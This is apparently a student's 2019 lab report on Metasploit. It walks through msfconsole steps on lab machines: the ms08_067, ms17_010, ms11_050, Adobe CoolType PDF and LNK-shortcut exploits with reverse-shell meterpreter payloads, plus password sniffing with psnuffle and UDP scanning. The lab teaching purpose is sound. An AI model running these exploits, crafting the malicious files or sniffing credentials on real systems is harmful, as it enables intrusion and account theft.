Exp5 MSF基础应用

目录


一、实验目标

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

1.1一个主动攻击实践,如ms08_067; (1分)

1.2 一个针对浏览器的攻击,如ms11_050;(1分)

1.3 一个针对客户端的攻击,如Adobe;(1分)

1.4 成功应用任何一个辅助模块。(0.5分)

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。


二、基础问题回答

用自己的话解释什么是exploit,payload,encode.

  • exploit:是一种利用了漏洞将payload放入靶机中执行的代码模块,主要的作用是针对漏洞进行攻击,前无声息的进入到靶机中,是一个攻击的流程性代码。
  • payload:真正在靶机中执行的代码或者指令,在exploit的帮助下进入目标主机,然后获得shell等等。
  • encode:将payload中的一些坏字符进行编码修改,使之能够使用的代码。或者能够加密payload,使之躲避AV检查的模块。

一些基础命令和使用说明:

connect:可以做端口侦听, 也可以连接目标服务器指定端口;

show: 按两次Tab键 可以查看各类模块, show all则是列出所有模块,例我们查看exploits 则可以通过show exploits里具体可以使用的模块....;

search: 搜索模块.可以根据文件名,文件类型等指定参数搜索. 具体参数 search -h;

use: 后面跟模块地址 进入某个指定模块的上下文;

info : 查看模块说明 ,包括简介,版本,作者,作者联系方式,使用参数说明等;

show options: 参数配置, Required 为yes则是必需指定的参数, Current Setting为默认参数.;
show targets: 查看可以使用哪些targets;

show payloads: 查看当前模块适用的payloads. 如果在某一个模块下进行show
payloads 则显示当前模块下的payloads,并不是全局的payloads;

show advanced: 显示高级参数;

show missing: 查看哪些必需设置的参数没有设置;

edit: 对当前脚本文件 进行二次编辑修改;

check: 检验漏洞存不存在. 不对漏洞进行利用;(部分模块适用)

bank: 返回到全局环境;

run || exploit : 运行模块;

creds: 获取模块的结果;

vulns: 获取扫描的漏洞信息;

loot : 查看加密值;  

set: 设置某一个参数;


三、实验过程记录

3.1 主动攻击实践

  • 漏洞:exploit/windows/smb/ms08_067_netapi
  • payload:generic/shell reverse_tcp
  • 靶机:windows XP SP3

(1)search ms08_067,搜寻关于该漏洞的exploit,此处只有一个。
(2)使用这个exploit:use exploit/windows/smb/ms08_067_netapi
(3)接下来选择一个payload,可以show payloads 看一下.

(4)我选择了payload:generic/shell reverse_tcp
(5)接下来填入参数,如果要求了required,那就是一定要填的参数,其余的可不填。
(6)填完了参数后,exploit,运行看看。
(7)可以看到sesion 1 opened,说明成功了!

输入命令systeminfo,查看靶机的信息。

返回目录


  • 漏洞:ms17_010_eternalbule
  • payload: windows/x64/meterpreter/reverse_tcp
  • 靶机:windows server 2008 R2

(1)search ms17_010

(2)使用辅助模块来扫描一下靶机是否有这个漏洞:use auxiliary/scanner/smb/smb_ms17_010
(3)设置靶机的IP地址:set rhost 192.168.1.212

扫描结果显示:该靶机十分容易收到该漏洞攻击~
(4)使用payload: windows/x64/meterpreter/reverse_tcp
(5)输入命令:options,看看参数和靶机。
(6)根据options设置必须的参数。

(7)exploit,会看到出现了很多东西。

(8)最后最后,看见win 了,成功,session也出现啦!

返回目录


3.2针对浏览器的攻击

  • exploit:windows/browser/ms11_050_mshtml_cobjectelement
  • payload: windows/meterpreter/reverse_tcp
  • 靶机:windows XP SP3 + IE 7

(1)使用该exploit:use exploit/windows/browser/ms11_050_mshtml_cobjectelement
(2)输入命令:info,看一看关于该exploit的信息,可用的靶机和需要的参数等。

(3)看看它的描述,了解它的用途。

(4)输入命令选择payload:set payload windows/meterpreter/reverse_tcp .

(5)根据具体信息设置各个对应参数。
(6)输入命令:exploit ,出现一个URL,将这个链接复制到靶机中用IE7.0打开。

(7)然后就可以发现,session+id已经opened了。这里由于比较卡,我就反复刷新链接,还用另一个靶机试了试,导致了,建立了好几个会话。事实上,如果没反应可以再耐心等待一会儿,只需要建立一个session其实就可以了。
(8)sessions -l ,列出所有的会话。
(9)sessions -i +id,连接这个会话。

(10)可以发现成功了~~~

返回目录


3.3针对客户端的攻击

  • exploit:windows/fileformat/adobe_cooltype_sing
  • payload: windows/meterpreter/reverse_tcp
  • 靶机:windows XP SP3 + 9.3.3的Adobe Reader

实验之前需要对靶机进行配置,安装好9.3.3的Adobe Reader,并取消自动更新软件。(花了很长时间)

(1)和之前一样,需要use exploit/windows/fileformat/adobe_cooltype_sing
(2)info看看信息描述,了解下怎么用,可以看到对与版本8.2.4和9.3.4的Adobe Reader 是可以成功的。

(3)set payload windows/meterpreter/reverse_tcp
(4)改一下生成的pdf的文件的名字:set FILENAME 5114.pdf.
(5)exploit,看到了这个pdf以及其存放位置。

(6)然后输入back,返回,使用exploit/multi/hander进行监听。
(7)同样需要设置payload和配置参数。
(8)set payload windows/meterpreter/reverse_tcp .

(9)再次exploit,运行看看。
(10)此时再将文件5114.pdf放到靶机上,并用Adobe Reader 9.3.3打开,如图所示:

(11)返回kali,可以看到sesion 2 opened,说明成功了!

(12)如果在靶机关掉该pdf文件,则主机也会失去会话.


  • 漏洞:ms10_046_shortcut_icon_dllloader
  • payload: windows/meterpreter/reverse_tcp
  • 靶机:windows XP SP3

(1)使用这个exploit:use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
(2)set payload windows/meterpreter/reverse_tcp

(3)配置好靶机IP地址和攻击机IP地址和端口等。

(4)exploit,生成了一个lnk类型的文件msf.lnk

(5)将这个文件msf.lnk传送或者复制到靶机中。

(6)点击并运行这个文件,返回Kali可以看到正在建立连接,meterpreter session 1 opened
(7)sessions -l ,列出所有的会话。
(8)sessions -i 1,连接这个会话。
(9)成功了~~~

返回目录


  • 漏洞:ms15_020_shortcut_icon_dllloader

  • payload

    • windows/meterpreter/reverse_tcp
    • windows/shell/reverse_tcp
    • windows/upexec/bind_tcp
  • 靶机:windows XP SP2

  • 此模块利用MS10-046修补程序中的漏洞滥用(再次)处理包含指向恶意DLL的图标资源的Windows快捷方式文件(.LNK)。这将创建SMB资源以提供有效负载和触发器,并生成必须发送到目标的LNK文件。此模块已在安装了MS10-046的Windows 2003 SP2和安装了MS14-027的Windows 2008 SP2(32位)上成功测试。

(1)和之前步骤相同:use exploit/windows/smb/ms15_020_shortcut_icon_dllloader,info看一看详细信息。

(2)可以在如图的网址中获得更多的详细信息:

(3)set payload windows/meterpreter/reverse_tcp

(4)常规配置,可以将该文件改名,此处我改为20165114.lnk
(5)exploit,生成文件,将文件20165114.lnk复制到靶机上,然后运行它。

(6)顺利连上了session。

(7)接下来我们可以试着换一个payload试试。
(8)set payload windows/shell/reverse_tcp
(9)参数的配置略有不同,但也很简单,配置完后可以直接exploit

(10)和之前一样,生成文件并复制到靶机上运行。
(11)建立会话并开始会话后,成功获得shell。

(12)换一个名为windows/upexec/bind_tcp的payload试试看。
(13)需要填一个名为PEXEC的参数,后面的解释说对这个文件加载和执行的完整地址,其实我不是很明白是什么意思。

(14)试着填一下set PEXEC /root ,看看能不能成功。后来生成文件没有问题,但是在靶机上运行kali也没有反应。猜测估计与参数PEXEC有关系,暂时还没有成功解决这个问题。

返回目录


3.4辅助模块的应用

密码嗅探模块auxiliary/sniffer/psnuffle

  • 目前支持pop3.imap.ftp.http GET协议
  • 支持从pcap抓包文件中提取密码,功能类似于dnsiff。
  • 这个模块我们可以什么都不用配置,默认抓取本机的流量.
  • 支持分析抓包文件嗅探. 使用set PCAPFILE 导入文件即可.
  • 查看结果可以使用jobs. 删除结果可以使用kill 加上对应的jobs id值.

(1)使用这个模块:use auxiliary/sniffer/psnuffle
(2)照例查看一下info。

(3)参数PCAPFILE就是可以设置为分析的包文件名字,可以直接对抓好的包提取密码。
(4)exploit一下,可以看到抓到了很多流量。

(5)登陆一个叫天翼快递的网站,然后输入用户名密码,如果是GET类型的HTTP可以解析出用户名密码。

(6)抓到了这个数据包,但是是POST类型的,无法成功解析。

(7)下图是wireshark抓到的含有用户名和密码的数据包。

UDP服务扫描模块:auxiliary/scanner/discovery/udp_sweep

  • UDP服务扫描模块运行我们检测模板系统的UDP服务。由于UDP是一个无连接协议(不面向连接),所以探测比TCP困难。使用UDP服务探测模块可以帮助我们找到一些有用的信息。
    (1)使用这个模块:use auxiliary/scanner/discovery/udp_sweep
    (2)info看一下信息、参数。

(3)设置扫描的靶机的范围:set RHOSTS 192.168.1.1/24
(4)run,扫描结果就出来了。

四、实践总结和体会

  • 此次实验我做了比较久,主要在对于靶机的配置上。对于不熟悉的漏洞,不知道如何使用和配置对应的靶机;也花了很多时间去寻找和配置漏洞需要的靶机;在实验过程中,我看到了很多exploit、payload、auxiliary,熟悉的和不熟悉……。在不断尝试的过程中,发现这些漏洞针对着不同的系统和环境,也明白了软件和系统的更新十分重要,利用漏洞和带有漏洞的一些软件等,悄无声息地入侵目标主机。且这种攻击都十分广泛,很多知名地软件都存在严重漏洞,如果不及时更新的话,很容易收到攻击。
  • 我也理解了漏洞和exploit有关,而payload是可以与各种exploit配合使用的,auxiliary是执行信息收集、枚举、扫描等的辅助模块,是没有payload的模块。

五、离实战还缺些什么步骤

  • 需要和目标主机在同一网段,才能攻击成功。
  • 需要目标主机有合适的配置和环境,比如说需要装有有漏洞的软件,成功诱导用户打开某由exploit和payload生成的链接、恶意文件等等。
  • 对目标主机开放的端口等等进行扫描,了解目标主机的系统信息等。
  • 要想真正侵入目标主机,现在已经非常不容易了,因为现在的系统和软件,一旦发现漏洞就会打上补丁等等,需要新型的,不被大家所知的新漏洞,才能更加顺利入侵目标系统。
posted on 2019-04-21 11:46  Principlewill  阅读(199)  评论(0编辑  收藏